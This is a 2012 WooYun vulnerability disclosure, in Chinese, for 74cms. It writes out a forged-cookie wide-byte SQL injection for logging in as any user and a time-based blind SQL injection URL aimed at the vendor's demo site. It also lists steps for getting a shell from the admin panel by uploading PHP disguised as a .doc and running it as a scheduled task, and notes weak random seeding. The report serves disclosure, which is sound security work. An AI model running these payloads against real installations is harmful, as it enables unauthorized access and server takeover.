漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-08414
漏洞标题:骑士cms注入,后台拿shell
相关厂商:74c,s.com
漏洞作者: yy520
提交时间:2012-06-18 11:47
修复时间:2012-06-23 11:48
公开时间:2012-06-23 11:48
漏洞类型:非授权访问/权限绕过
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-06-18: 细节已通知厂商并且等待厂商处理中
2012-06-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
0x1 任意用户登录
0x2 盲注
0x3 后台拿shell
0x4 随机函数问题
详细说明:
0x1 任意用户登录
user/login.php
include/fun_user.php
构造cookie如下
QS[uid] 2
QS[utype] 1
QS[password] 111111111111111111111
QS[username] %bf%27 or 1=1 %23
uid 为假冒用户的ID utype为用户类型 password任意
0x2 盲注
http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面
0x3 后台拿shell
1.先关闭csrf防御功能
2.在hr工具箱中添加一个伪造的doc,内容为<?php phpinfo();?>,记下路径data/hrtools/2012/06/1339941553308.doc
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc
4.然后执行
0x4 随机函数问题(几乎可以无视,纯属个人YY)
在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
这个$QS_pwdhash是由randstr生成
生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
漏洞证明:
修复方案:
do it yourself~
版权声明:转载请注明来源 yy520@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2012-06-23 11:48
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态:
暂无